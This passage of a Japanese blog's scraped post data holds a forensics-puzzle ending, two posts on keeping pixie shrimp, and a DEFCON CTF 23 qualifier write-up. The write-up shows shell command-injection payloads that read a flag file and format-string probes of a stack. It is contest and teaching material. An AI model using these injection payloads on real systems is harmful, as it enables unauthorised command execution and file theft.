SDカードのmondai\n\nSDカードを手に入れておしまいではありません。SDカードの中にあるmondai10.tcを開かないことには最終面接へ挑むことができません。\nとりあえずAutopsyにSDカードを読ませてみます。\n\n\n\n\n意外と簡単に問題ファイルが浮上してきました。\n削除された0バイトのファイルがあり、そのファイル名は「山名+最高点の標高を英数字で9文字.txt」となっていました。\n\n登山した赤城山は標高1828mなので、**akagi1828**がmondai10.tcのパスワードだと思われます。\n\nTrueCryptでmondai10.tcを**akagi1828**をパスワードとしてマウントすると、見事イメージをマウントすることができました。\n\n\n\n\n\nマウントしたイメージには何があったでしょうか。\n\n\n\n<pre style=\"border:none; color:inherit; background-color:inherit;\">\n_人人人人人人人_\n> 答え.txt <\n ̄Y^Y^Y^Y^Y^Y ̄\n</pre>\n\n## 感想\n\nmondai9までは日々の隙間時間を使い、少々躓きながらもなんとか時間をかけて解くことができました。\nしかし、mondai10がここまで大変であるとは思っていませんでした。\n同じ関東だからと舐めてかかっていたために、ギリギリの乗り換えや予想外の雪道に遭遇してつらい思いをしました。\nしかし、マイナビに登録してエントリーするなどの就職活動をし、一次選考と二次選考を通過して最終面接に挑む方々と比べると、\n雪道を這い上がるなど、苦労の量は比較的少ないようにも思えます。\nこのようなmondaiを通して就職の機会を与えてくれたネットエージェントさんに感謝するばかりです。\n\nいろいろなmondaiに挑むことで、いろいろな答えを見つけるセンスを身につけられたかと思います。\nこのような問題を見つけることがあれば、みなさん是非とも挑戦して技量を高めてみてください。\n\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<script>\nvar a = document.querySelectorAll('a[href$=\".JPG\"]')\nfor(var i = 0; i < a.length; i++){a[i].target = \"_blank\"}\n</script>\n"]}],[0,{"slug":[0,"2015/04/26/no-shrimp-no-life/"],"data":[0,{"title":[0,"小さなえびを飼い始めて2ヶ月が過ぎた"],"date":[3,"2015-04-26T14:46:19.000Z"],"image":[0,"/assets/images/2015/04/26/shrimp-bottle.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Aquarium"]]],"tags":[1,[[0,"shrimp"]]]}],"content":[0,"\n先日、久々にアイコンを大幅に変更しました。\nMacBook Airとコーヒーと犬が描かれていたアイコンをここ数年使っていたのですが、\n先月頭に起きた[とある一件](../2015/2015-03-06-yuzu-trouble.md)のために柚子胡椒禁止アイコンが追加されるマイナーバージョンアップがあったくらいです。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>柚子胡椒 禁止アイコン <a href=\"http://t.co/FKXJYy96GN\">pic.twitter.com/FKXJYy96GN</a></p>&mdash; プロ生ちゃん(暮井 慧) (@pronama) <a href=\"https://twitter.com/pronama/status/573812508881870849\">2015, 3月 6</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nそんなこんなでずっと同じアイコンを使っていたのですが、2月の中旬にえびを飼い始め、えびのことをたくさん呟き始めてきているのにアイコンにえびが写っていないのはいかがなものかと思っていたので、変更することにしました。そんなえびの話をします。\n\n## 目次\n\n\n## えびとの出会い\n\n去る2015/02/15に東京スカイツリータウンへ行ったときのこと。ソラマチの中をブラブラとしていると、いろいろな雑貨を扱っているブースを見つけたので興味本位で立ち寄ってみました。ふと目に留まったのが手のひらサイズの小瓶。中に液体が入っているのが遠目でなんとか確認できるというものでしたが、近付いてみてびっくり、小さなかわいいえびがふわふわと泳いでいたのです。一円玉よりはるかに小さいえびがふわふわ漂う姿を目の当たりにした時、ビビッときました。一目惚れです。目尻が下がり、ドキドキしてしてました。しかし、その場ではすぐに買わず、ソラマチを再度ブラブラし始めました。\n\n- 餌やり不要\n- 水替え不要\n- 瓶のまま飼育可能\n- 20℃前後の環境で飼育\n\nブースに貼ってあったPopには確かこんなことが書いてありました。\n果たしてちゃんと飼えるのだろうか、買われたことでえびたちは不幸になりやしないか。。などと考え1時間ほどソラマチを回って再度えびの前に戻ってきました。\n\n**「幸せにしてあげるぞ!」**そう意気込んで、ブースに来た時に最初に目が合ったえびのいる瓶を購入しました。\n\n<Notice type=\"tip\">\n**2015/04/29追記:**人気商品なためか、今月購入店を訪れた所、すでに売り切れていました。オンライン販売で入手できるかもです:[まりも倶楽部通販](http://www.love-marimo.com/shop/shop.html)\n</Notice>\n\n## えびの越冬\n\n飼い始めたえびは*ピクシーシュリンプ*(もしくはスカーレットシュリンプ、もしくはホロホロシュリンプ)という名の汽水に生息するとても小さなえびで、ハワイ原産とのことです。購入した小瓶には4匹入っていました。\n\n小瓶に付属の飼い方説明書きには、15℃以下、30℃以上では生きていけないと記載がありました。購入した2月中旬の気温は15℃を下回っていたので、温める必要に迫られます。一人暮らしでハロゲンヒーターとコタツしか暖房器具がなく、どれも部屋中をあたためるのには不向きであり、かつ小瓶一つを温め続けるのも不可能であったため、違う熱源を利用しました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>冬場の寒さから守るため、サーバーの中でエビを飼い始めました <a href=\"http://t.co/kZpvz90OPw\">pic.twitter.com/kZpvz90OPw</a></p>&mdash; えび over HTTP/2 IPv6 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/566981294739820547\">2015, 2月 15</a></blockquote>\n\n大抵の家庭にあるもう一つの暖房器具であるメディアストリーミングサーバーの中にすっぽりと収まったので、その中で冬の夜の寒い時間をしっかりと温まってもらおうとしました。\n思惑は期待通りで、20℃前後の空間を作り上げることができ、2月の寒い時期を元気にすごしてくれました。\n\n\n\n\n## えびかわいいのでえび特集します\n\nということで、えびかわいいので今週の記事はえび特集です。\n3月になってからのえびの引越しやえびの飼育方法、えびかわいい動画撮影などの技術的な記事を書きます。\n乞うご期待。\n"]}],[0,{"slug":[0,"2015/04/29/ebi-the-move/"],"data":[0,{"title":[0,"えびの水槽引越しと環境整備と飼育について"],"date":[3,"2015-04-29T06:03:01.000Z"],"image":[0,"/assets/images/2015/04/29/new-ebipot.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Aquarium"]]],"tags":[1,[[0,"shrimp"],[0,"muji"],[0,"charm"]]]}],"content":[0,"\n小さくてかわいいピクシーシュリンプ(以下、えび)\n\nかわいいえび特集第2弾です。\n\n2月の寒い時期を乗り越えたえびたちは月が変わり3月に引越しをしました。引越しとともにえびの飼育環境の見直しや飼育設備の調整を行ったので、まとめることにしました。\n\n## 目次\n\n\n## えびのお引越し\n\nこの小さなえびは先日紹介したように、小さな瓶に入った状態で購入し、サーバーの中で飼っていました。\nしかしサーバーの中は卓上と比べて薄暗く、単方向からしか鑑賞できないので机の上に移動させようと思い、引越しさせることにしました。\n\n### えびの住環境見直し\n\n机の上に移動させることを考え始めたとき、小さな瓶に入ったえびたちを見て思うことがいくつかありました。\n\n- 「狭くないかなぁ」\n- 「ちょっと殺風景だなぁ」\n- 「食べ物とか大丈夫かなぁ」\n\n観賞魚(えび)だとはいえ、一緒に暮らす生き物です。このまま小瓶の中で飼い続けるのはえび達に申し訳なく思い、住環境を見直すことにしました。\n\n#### 新しい水槽\n\n狭さへのストレス増加を危惧し、まずは大きな水槽へと移すことにしました。とは言ったものの、本格的な大きな水槽ではなく、今よりも4ー5倍広いものを想定して入れ物を探してみました。\nえびの遊泳を妨げぬように形状は円柱もしくは角丸に限定し、なおかつ高透明度なアクリル製の容器を探していると、無印良品で良さそうなものを発見しました。\n\n\n\n[アクリルポット 約直径8×高さ11cm \\| 無印良品ネットストア](http://www.muji.net/store/cmdty/detail/4934761479781)\n\n小瓶の4倍程度の大きさで透明度が高く、しっかりとした作りなので、えび水槽としても十分であると思い購入しました。\n\n大きな水槽に移し替えるためには当然追加の水が必要となります。\nこのえび達は塩分濃度の低い海水、すなわち汽水で生活しているとのことなので、適切な濃度の汽水を用意しないといけません。\nAmazon等で売ってる人工海水キットと比重計を買って汽水を作るのが一般的ですが、実はえびの購入時にマイクロウォーターなる専用の追加の汽水をいっしょに買っていたので、それをあたらしい水槽に追加することでより広い空間を泳げるようにしました。\n\n大きな水槽に移すに伴いもう一つ必要となるものが、水槽に敷く砂利です。\nえびは水質にとても敏感で、砂利の種類によっては水が弱アルカリ性に傾くことがあるようなので、影響が少ないであろうガラス製の人工砂を購入しました。\n水槽に入れてから気づいたのですが、赤色の砂はえびの色とかぶってしまい、視認性が落ちます。\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.179123&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D179123)\n\n- Charm: [クリスタルグラスサンド レッド/クリアー(約60g)](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.179123&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D179123)\n- Amazon: [クリスタルグラスサンド レッド/クリアー(約60g)](http://www.amazon.co.jp/gp/product/B00U5OXGEI/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00U5OXGEI&linkCode=as2&tag=mzyy-22)\n\n\n#### えびの隠れ家\n\n引越しついでに殺風景だった水槽を彩るべくいろいろと必要なものを揃えました。\n\n一番初めに準備したのはえびの隠れ家です。今までの小瓶には枝が1つと藻が1本入っているだけで、おちおちと休まることのできない環境だったので隠れ家を用意してあげようと思い立ちました。\nえび用の隠れ家は何種類も売っていたのですが、どれもこの小さなえびには大きすぎるので、稚えび用の隠れ家を購入しました。\n\n[](http://www.amazon.co.jp/gp/product/B00R493S22/ref=as_li_ss_il?ie=UTF8&camp=247&creative=7399&creativeASIN=B00R493S22&linkCode=as2&tag=mzyy-22)\n\n- Amazon: [ウォーターエンジニアリング ベビー ビー シュリンプ シェルター (稚エビの隠れ家) 20個入り](http://www.amazon.co.jp/gp/product/B00R493S22/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00R493S22&linkCode=as2&tag=mzyy-22)\n\nこの隠れ家は明かりが十分にさす作りなので、暗い隠れ家も必要かと思い、エビ土管も購入しました。\nこれもサイズはいろいろとあったのですが、一番小さいものを選択しました。\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.87347&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D87347)\n\n- Charm: [エビ土管 Sタイプ 5本入り](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.87347&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D87347)\n- Amazon: [ミニテム エビ土管 Sタイプ](http://www.amazon.co.jp/gp/product/B00GTIL2PO/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00GTIL2PO&linkCode=as2&tag=mzyy-22)\n\n\n#### 水草\n\n殺風景だった水槽も隠れ家によってだいぶ賑やかになってきました。\nこのえびはコケや藻やバクテリアを食して生きているとのことですが、瓶には目に見えないほど小さな藻が入っているだけだったので、彩りも兼ねてウィローモスを追加しました。\n餌にも足場にもなる優秀な水草です。\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.472562&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D472562)\n\n- Charm: [(水草)ウィローモスsp.(無農薬)(1カップ) 北海道航空便要保温](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.472562&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D472562)\n- Amazon: [(水草)ウィローモスsp.(無農薬)(1カップ) 北海道航空便要保温](http://www.amazon.co.jp/gp/product/B00UF49ZRK/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00UF49ZRK&linkCode=as2&tag=mzyy-22)\n\n\nウィローモスだけでも良かったのですが、アクアリウムショップに立ち寄った時に耐塩性マングローブの一種であるメヒルギを見つけたのでこれも購入し、水槽へと入れることにしました。\n\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.47168&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D47168)\n\n- Charm: [(観葉)メヒルギ(雌蛭木)の種(1本)北海道・九州・沖縄航空便要保温](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.47168&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D47168)\n- Amazon: [(観葉)メヒルギ(雌蛭木)の種(1本)北海道・九州・沖縄航空便要保温](http://www.amazon.co.jp/gp/product/B00UF44M5U/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00UF44M5U&linkCode=as2&tag=mzyy-22)\n\n\n\n物がそろったらいざ引越しです。小瓶内の水温と新しい水槽の水温がほぼ同じになるよう調節して、お互いの水をピペットで交換しつつ水質を近くしていき、水の準備をします。\nそして、えびを瓶の中になだらかに流し込んであげて、引越しは完了です。\n\n\n##### Before\n\n\n##### After\n\n\n## えび飼育にあったほうがいいもの\n\n引越しをしてからかれこれ1ヶ月以上元気に育っています。飼育していて、あるとよいと気づいて購入した物がいくつかあったので紹介します。\n\n### 足し水\n\n密閉容器で飼育しているわけではないので、大気中に水分が蒸発していき水が減っていきます。\n小瓶に付属していた飼い方説明書きには、減ってきたら専用のマイクロウォーターを追加してくださいと書いてあったのですが、汽水濃度が上がり続けることが心配になりました。\nそこで、人工海水の作成時にも用いられる、海洋深層水をろ過したRO水を購入し、減った時には追加するようにしています。今回購入したRO水はもともと飲料水として販売している物なので、試しにコーヒーを淹れてみた所、すこし香りが増したような味わいになりました。\n\n\n\n- Amazon: [赤穂化成 純水 2000ml×6本](http://www.amazon.co.jp/gp/product/B004ABND0Y/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B004ABND0Y&linkCode=as2&tag=mzyy-22)\n\n\n### エビ用のえさ\n\nえび達がウィローモスをつまつましている姿はたいへんかわいらしいのですが、心配性なのでお腹を空かせていないかとても気になりました。\nえび用のえさは何十種類もあるのでどれがいいのかさっぱりでしたが、小さい顆粒で水に溶け出しにくい物をあげることにしました。\n小さい顆粒と言っても一般的な鑑賞えびから見たら小さいということであって、この子たちには手で持つことができないサイズです。1粒を4つに割ってあげて、週に2回あげるようにしています。えさをあげる際は、食べ終わったらピペットで食べ残しを取り除いてあげないと水質が変化してしまったり、えび達に悪影響を与えかねないので注意が必要です。\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.65799&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D65799)\n\n- Charm: [コメット ヌマエビの主食 沈下性 40g](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.65799&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D65799)\n- Amazon: [ヌマエビの主食 40g](http://www.amazon.co.jp/gp/product/B0051RIXU6/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B0051RIXU6&linkCode=as2&tag=mzyy-22)\n\n\n\n\n\n## 小さいえび飼育まとめ\n\n- **隠れ家は好みで**\n\nえびに隠れ家が必ず必要であるという確たる文献が見つからなかったので、殺風景だなと思ったら入れてあげる程度でいいかと思います。\n\n- **水草は汽水でも生きる物を**\n\n当たり前のことですが、汽水に入れるので淡水でしか生息できない水草は枯れてしまい、水質を悪くし、えびのえさにすらならないのでご注意を。\n\n- **汽水で生息**\n\n汽水の中でも比較的濃度の低い汽水で生活しているようです。また、餌やりしない場合は、水替えやフィルターなしで良いとのことです。人工海水キットで汽水を作る際は比重計とRO水の準備を忘れずに。\n\n- **えさは不要**\n\n水槽に張り付いてコケを食べたり水草をつまつまする姿が見えるので追加でえさを入れなくても元気です。どうしても食べさせてあげたい時は小さめの物を。また、残飯を確実に回収すること。\n\n- **水温は22℃前後**\n\n15℃以下30℃以上は生き辛いとのことなので、間をとって22℃を目標として飼育しています。今の所元気な姿が伺えます。\n"]}],[0,{"slug":[0,"2015/05/18/defcon-qual-23-writeup/"],"data":[0,{"title":[0,"DEFCON CTF 23予選 Write-up (解説付き(すこし))"],"date":[3,"2015-05-18T14:45:04.000Z"],"image":[0,"/assets/images/2015/05/18/scoreboard.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"defcon"],[0,"babycmd"],[0,"babyecho"]]]}],"content":[0,"\n今年のDEFCON CTFの予選が5月16日午前9時から48時間開催されていました。今回はチーム********としての参加ではなく、Team Enuに派遣される形で参加してきました。\n\n今年は、比較的やさしいBaby's First問題とPwn問題、リバースエンジニアリングのジャンルに属する問題が各数問あり、加えてWebとCoding Challengeが1問ずつありました。\n複数ある問題の中でFlagをsubmitしたのは1問だけですが、いくつか正解までたどり着くところまで解けたのでWrite-upを記します。\n\n## 目次\n\n\n## Babycmd\n\n### 問題文\n\n babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me:15491\n\n [Download](http://downloads.notmalware.ru/babycmd_3ad28b10e8ab283d7df81795075f600b)\n\n### 問題\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n:\n```\n\npingとhostとdigコマンドが実行できるアプリケーションにアクセスして、どうにかしてflagを獲得する問題。\n逆アセンブルした結果、*コマンド[スペース]引数*として標準入力から渡すと、コマンドが( dig | ping | host | exit | help )かどうかで分岐し、引数が適切であるか、またIPアドレスかどうかをチェックし、コマンドをpopen経由で実行しているものでした。\n`strings`コマンドと`grep`で*%s*がある記述を探したところ、各コマンドは引数がIPアドレスなのかそれ以外かで分岐し、\n\nタイプ | 実行コマンド\n-------|---------\ndig (IPアドレス)| `dig -x 引数`\ndig(文字列)|`dig '引数'`\nping(IPアドレスのみ)|`ping -c 3 -W 3 引数`\nhost(IPアドレス)|`host 引数`\nhost(文字列)|`host \"引数\"`\n\nとしてpopenで実行されるようになっていました。\n\n適当にPublic DNS宛にPingを送ってみると以下のような表示になりました。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: ping 8.8.8.8\nPING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.\n64 bytes from 8.8.8.8: icmp_req=1 ttl=128 time=9.51 ms\n64 bytes from 8.8.8.8: icmp_req=2 ttl=128 time=9.53 ms\n64 bytes from 8.8.8.8: icmp_req=3 ttl=128 time=9.95 ms\n\n--- 8.8.8.8 ping statistics ---\n3 packets transmitted, 3 received, 0 0x7fffd2999630acket loss, time 2005ms\nrtt min/avg/max/mdev = 9.515/9.667/9.956/0.219 ms\nCommands: ping, dig, host, exit\n:\n```\npingの出力結果に含まれる**% Packet**が、フォーマット文字列の*%p*として解釈され、アドレスが表示されていることがわかりました。format string attack(後述)として攻められるような感じがしましたが、他の人が取り組んでいるようなので違う方法でアプローチをしていくことにしました。\n\ndigとhostに文字列を渡した時の括りがそれぞれ違うことに注目しました。digではシングルクオートで、hostではダブルクオートでくくって引数を渡しています。\nシェル上では、ダブルクオートの文字列の中で変数を展開できます。`echo \"$SHELL\"`とすると*/bin/bash*と出力されるのがいい例です。今回の問題の場合は、`host $SHELL`として標準入力から渡すと、`host \"/bin/bash\"`として実行されると考えられます。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host $PWD\nInvalid hostname.\nCommands: ping, dig, host, exit\n:\n```\nしかしながら、試しに`host $PWD`として打ってみたところ、引数チェックで引っかかり、*popen*で実行されませんでした。\n\n逆コンパイルの結果、引数チェックでは最初と最後の文字が数字もしくはアルファベットでない場合にエラーとして実行させないようにしていることがわかったので、`host A${PWD}A`として実行してみました。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host $PWD\nInvalid hostname.\nCommands: ping, dig, host, exit\n: host A${PWD}A\nHost A/A not found: 3(NXDOMAIN)\nCommands: ping, dig, host, exit\n:\n```\n\n変数展開されていることが確認できました。/ディレクトリがカレントディレクトリのようです。\n\n### 攻撃手法:OSコマンド インジェクション\nこれができることがわかると、次に挑戦したくなるのは変数中のコマンド展開によるOSコマンド インジェクションです。\nコマンド展開とは、ダブルクオート中に変数を展開するのと同じ要領で、*$(コマンド)*としてコマンドを実行し、文字列中にコマンドの出力を展開するものです。例として、`echo \"$(uname)\"`とすると*Linux*と返ってきます。これを用いて実行中のユーザーを確認します。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host A$(whoami)A\nHost AbabycmdA not found: 3(NXDOMAIN)\nCommands: ping, dig, host, exit\n:\n```\n\nbabycmdユーザーとして実行されていることがわかりました。\nそこで、ホームディレクトリ内のファイル一覧を取得してみることにしました。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host A$(ls /home/babycmd)A\nsh: 1: ls/home/babycmd: not found\nHost AA not found: 3(NXDOMAIN)\nCommands: ping, dig, host, exit\n:\n```\n\n引数に渡される文字列に含まれるスペースが削られるようです。タブで代用してみました。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host A$(ls /home/babycmd)A\nHost Ababycmd\nflagA not found: 3(NXDOMAIN)\nCommands: ping, dig, host, exit\n```\n\n\nホームディレクトリにbabycmdとflagというファイルがあることがわかりました。\ncatのリダイレクトでflagを抜いてしまいます。\n\n```\nWelcome to another Baby's First Challenge!\nCommands: ping, dig, host, exit\n: host A$(cat</home/babycmd/flag)A\nHost AThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??A not found: 3(NXDOMAIN)\nCommands: ping, dig, host, exit\n:\n```\n\nFLAG:`Pretty easy eh!!~ Now let's try something hArd3r, shallwe??`\n\nOSコマンドインジェクションに関連する脆弱性対策をIPAが公開してくれているので、CTFのためにも自衛のためにも一度目を通しておくことをお勧めします。\n\n[IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:コマンド注入攻撃対策](http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c909.html)\n\n## Babyecho\n\n### 問題文\n\n babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me:3232\n\n [Download](http://downloads.notmalware.ru/babyecho_eb11fdf6e40236b1a37b7974c53b6c3d)\n\n### 問題\n```\nReading 13 bytes\n```\n\n標準入力で待ち受けしているので、文字列を送ると標準出力に<del>そのまま</del>*的確に*返してくれるプログラムにアクセスしてflagを得る問題です。\n\n\n```\nReading 13 bytes\n%p.%p.%p.%p\n0xd.0xa.(nil).0xd\nReading 13 bytes\n0123456789abcdef\n0123456789ab\nReading 13 bytes\ndef\nReading 13 bytes\n```\n\nフォーマット文字列が使えて、12文字を越えると次の入力として処理されるようです。\n\n\nバイナリを`strings`コマンドでみてみると、入力待ちの直前に表示されている*Reading 13 bytes*の13という数字は可変であることがわかります。\n\n```\n$ strings ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d | grep Reading\nReading %d bytes\n```\n\nフォーマット文字列を使ってスタックの中身をもうすこしみてみます。\n\n```\nReading 13 bytes\nAAAA%5$p\nAAAA0xffea839c\nReading 13 bytes\nAAAA%6$p\nAAAA(nil)\nReading 13 bytes\nAAAA%7$p\nAAAA0x41414141\nReading 13 bytes\n```\n\n*AAAA%7$p*を渡した状態の時、以下のようにスタック(esp)に積まれていることがわかります。\n\n\n<svg width=\"300\" height=\"400\" viewBox=\"0 0 300 400\" style=\"background-color: #fff\">\n<g class=\"block\" transform=\"translate(80,20)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x????????</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,60)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,100)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000a</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,140)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,180)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,220)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0xffea839c</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,260)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,300)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x41414141</tspan>\n</text>\n</g>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,20)\">esp</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,60)\">+0x04</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,100)\">+0x08</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,140)\">+0x0c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,180)\">+0x10</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,220)\">+0x14</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,260)\">+0x18</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,300)\">+0x1c</text>\n</svg>\n\n\nesp+0x1cの位置から標準入力の値の格納バッファーが確保されているようです。\n\n先ほど調査したスタックをみてみると、読み込みバイト数らしき13(=0x0000000d)が2箇所積まれているのがわかります。\nIDA pro (demo)で入力待ちになるときの直前の処理を追ってみます。\n\n\n\n\nこの入力と出力を繰り返すループ(0x08048FB6)の直前の処理で、サイズ0x420のスタックを用意し、スタック内の値をいくつかセットしているところがあります。この値のセットで、esp+0x14にesp+0x1cのアドレスをセットしている部分があります(0x08048f57)。esp+0x1cは、先ほどの調査より標準入力の値が格納されるバッファーの開始位置です。このことから、先ほど*AAAA%5$p*を入力して返ってきた値*0xffea839c*は、標準入力からの値を格納するバッファーのアドレスを指しているということになります。\n\nloc_8048fb6のループを見てみると、\"Reading %d bytes\\n\"で表示されるバイト数をesp+0x10からesp+0x04にコピーしている処理があります(0x08048fcc)。printfで\"Reading %d bytes\\n\"を表示した後、 esp+0x08に0x0aを入れ、標準入力からの読み取り上限をesp+0x10からesp+0x04にコピーしてセットし、esp+0x1cに標準入力からの値を読み取っています。\n\n<svg width=\"640\" height=\"400\" viewBox=\"0 0 640 400\" style=\"background-color: #fff\">\n<g class=\"block\" transform=\"translate(80,20)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" 